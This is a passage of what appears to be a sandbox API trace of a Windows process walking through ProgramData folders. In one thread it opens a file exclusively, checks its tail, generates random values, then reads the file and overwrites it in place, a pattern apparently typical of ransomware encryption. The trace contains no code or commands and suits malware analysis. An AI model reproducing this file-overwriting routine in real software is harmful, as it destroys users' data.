	[0092.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec810) returned 1
	[0092.037] FindNextFileW (in: hFindFile=0x2d87ab8, lpFindFileData=0x2e15d70 | out: lpFindFileData=0x2e15d70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1
	[0092.037] wcscmp (_String1="DownloadedScenarios", _String2=".") returned 1
	[0092.037] wcscmp (_String1="DownloadedScenarios", _String2="..") returned 1
	[0092.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d83198
	[0092.037] wcscpy (in: _Dest=0x2d83198, _Source="C:\\ProgramData\\Microsoft\\Diagnosis" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0092.037] wcscat (in: _Dest=0x2d83198, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0092.037] wcscat (in: _Dest=0x2d83198, _Source="DownloadedScenarios" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0092.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bc190
	[0092.037] wcscpy (in: _Dest=0x47bc190, _Source="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0092.037] wcscat (in: _Dest=0x47bc190, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\"
	[0092.037] wcscat (in: _Dest=0x47bc190, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*"
	[0092.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fbd0
	[0092.037] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b328
	[0092.037] wcscmp (_String1=".", _String2=".") returned 0
	[0092.037] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.037] wcscmp (_String1="..", _String2=".") returned 1
	[0092.037] wcscmp (_String1="..", _String2="..") returned 0
	[0092.037] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1
	[0092.037] wcscmp (_String1="windows.uif_ondemand.xml.inbox", _String2=".") returned 1
	[0092.037] wcscmp (_String1="windows.uif_ondemand.xml.inbox", _String2="..") returned 1
	[0092.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481bb78
	[0092.037] wcscpy (in: _Dest=0x481bb78, _Source="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0092.037] wcscat (in: _Dest=0x481bb78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\"
	[0092.037] wcscat (in: _Dest=0x481bb78, _Source="windows.uif_ondemand.xml.inbox" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox"
	[0092.038] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox")) returned 0x20
	[0092.040] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox", dwFileAttributes=0x20) returned 1
	[0092.041] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\windows.uif_ondemand.xml.inbox"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1448
	[0092.041] GetFileSizeEx (in: hFile=0x1448, lpFileSize=0xd6bfd64 | out: lpFileSize=0xd6bfd64*=2512) returned 1
	[0092.041] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x9cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.041] ReadFile (in: hFile=0x1448, lpBuffer=0xd6bfce8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd6bfce4, lpOverlapped=0x0 | out: lpBuffer=0xd6bfce8*, lpNumberOfBytesRead=0xd6bfce4*=0x4, lpOverlapped=0x0) returned 1
	[0092.043] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0092.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0092.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.043] NtQuerySystemTime (in: CurrentTime=0xd6bfcc4 | out: CurrentTime=0xd6bfcc4*=132251868187753088) returned 0x0
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x304da3a3
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x1152079
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xc8beda6f
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x89314d7c
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xf120623e
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x7f032255
	[0092.043] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x53f5595b
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x56168758
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xc82e9cf2
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xd26bce9b
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xf3acfae8
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x425d7923
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x3b198ed4
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x2dfb0ff4
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x86cbdc35
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xd6cda5a4
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x2fe1f031
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xb47b0306
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xf8187df5
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x2d860ffe
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xfcc06ddb
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x640b4d32
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x2c42a71f
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xacecba8e
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xcb1916b1
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xabcc3a40
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x3753260c
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xd0539984
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x7516747d
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x5b79cd68
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0x8f0ab1ef
	[0092.044] RtlRandom (in: Seed=0xd6bfcd0 | out: Seed=0xd6bfcd0) returned 0xf8f38eb7
	[0092.052] ReadFile (in: hFile=0x1448, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0xd6bfcc0, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0xd6bfcc0*=0x9d0, lpOverlapped=0x0) returned 1
	[0092.053] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.053] WriteFile (in: hFile=0x1448, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0xd6bfcbc, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0xd6bfcbc*=0x9d0, lpOverlapped=0x0) returned 1
	[0093.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a78
	[0093.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a28
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a28) returned 1
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83210) returned 1
	[0093.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0093.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dab9d0
	[0093.231] SetFilePointerEx (in: hFile=0x1448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.231] WriteFile (hFile=0x1448, lpBuffer=0x4ebc2b0, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0xd6bfd24, lpOverlapped=0x0) 

Thread:
	id = 301
	os_tid = 0x1388

	[0076.841] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73cd8
	[0076.841] wcscpy (in: _Dest=0x2d73cd8, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0076.841] wcscat (in: _Dest=0x2d73cd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\"
	[0076.841] wcscat (in: _Dest=0x2d73cd8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\*"
	[0076.842] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16be0
	[0076.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x2e16be0 | out: lpFindFileData=0x2e16be0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87a38
	[0080.009] wcscmp (_String1=".", _String2=".") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x2d87a38, lpFindFileData=0x2e16be0 | out: lpFindFileData=0x2e16be0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.009] wcscmp (_String1="..", _String2=".") returned 1
	[0080.009] wcscmp (_String1="..", _String2="..") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x2d87a38, lpFindFileData=0x2e16be0 | out: lpFindFileData=0x2e16be0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1
	[0080.009] wcscmp (_String1="Server", _String2=".") returned 1
	[0080.009] wcscmp (_String1="Server", _String2="..") returned 1
	[0080.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e01a80
	[0080.010] wcscpy (in: _Dest=0x2e01a80, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM"
	[0080.010] wcscat (in: _Dest=0x2e01a80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\"
	[0080.010] wcscat (in: _Dest=0x2e01a80, _Source="Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0092.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac528
	[0092.057] wcscpy (in: _Dest=0x2dac528, _Source="C:\\ProgramData\\Microsoft\\DRM\\Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server"
	[0092.057] wcscat (in: _Dest=0x2dac528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\"
	[0092.057] wcscat (in: _Dest=0x2dac528, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\Server\\*"
	[0092.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0092.057] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0092.057] wcscmp (_String1=".", _String2=".") returned 0
	[0092.057] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.057] wcscmp (_String1="..", _String2=".") returned 1
	[0092.057] wcscmp (_String1="..", _String2="..") returned 0
	[0092.057] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.057] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0092.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0092.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac528) returned 1
	[0092.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01a80) returned 1
	[0092.057] FindNextFileW (in: hFindFile=0x2d87a38, lpFindFileData=0x2e16be0 | out: lpFindFileData=0x2e16be0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
	[0092.058] FindClose (in: hFindFile=0x2d87a38 | out: hFindFile=0x2d87a38) returned 1
	[0092.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16be0) returned 1
	[0092.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73cd8) returned 1
	[0092.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d734f8) returned 1

Thread:
	id = 302
	os_tid = 0x12e8

	[0076.842] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac5d8
	[0076.842] wcscpy (in: _Dest=0x2dac5d8, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0076.842] wcscat (in: _Dest=0x2dac5d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\"
	[0076.842] wcscat (in: _Dest=0x2dac5d8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\*"
	[0076.842] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e12fb8
	[0076.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2e12fb8 | out: lpFindFileData=0x2e12fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aba8
	[0085.297] wcscmp (_String1=".", _String2=".") returned 0
	[0085.297] FindNextFileW (in: hFindFile=0x477aba8, lpFindFileData=0x2e12fb8 | out: lpFindFileData=0x2e12fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.297] wcscmp (_String1="..", _String2=".") returned 1
	[0085.297] wcscmp (_String1="..", _String2="..") returned 0
	[0085.297] FindNextFileW (in: hFindFile=0x477aba8, lpFindFileData=0x2e12fb8 | out: lpFindFileData=0x2e12fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1
	[0085.297] wcscmp (_String1="Views", _String2=".") returned 1
	[0085.297] wcscmp (_String1="Views", _String2="..") returned 1
	[0085.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77c00
	[0085.297] wcscpy (in: _Dest=0x2d77c00, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer"
	[0085.297] wcscat (in: _Dest=0x2d77c00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\"
	[0085.297] wcscat (in: _Dest=0x2d77c00, _Source="Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views"

Thread:
	id = 303
	os_tid = 0x12f4

	[0076.843] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac6e0
	[0076.843] wcscpy (in: _Dest=0x2dac6e0, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
	[0076.843] wcscat (in: _Dest=0x2dac6e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\"
	[0076.843] wcscat (in: _Dest=0x2dac6e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\*"
	[0076.843] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e136f0
	[0076.843] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2e136f0 | out: lpFindFileData=0x2e136f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d879f8
	[0080.009] wcscmp (_String1=".", _String2=".") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x2d879f8, lpFindFileData=0x2e136f0 | out: lpFindFileData=0x2e136f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.009] wcscmp (_String1="..", _String2=".") returned 1
	[0080.009] wcscmp (_String1="..", _String2="..") returned 0
	[0080.009] FindNextFileW (in: hFindFile=0x2d879f8, lpFindFileData=0x2e136f0 | out: lpFindFileData=0x2e136f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1
	[0080.009] wcscmp (_String1="INT", _String2=".") returned 1
	[0080.009] wcscmp (_String1="INT", _String2="..") returned 1
	[0080.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daebe8
	[0080.009] wcscpy (in: _Dest=0x2daebe8, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL"
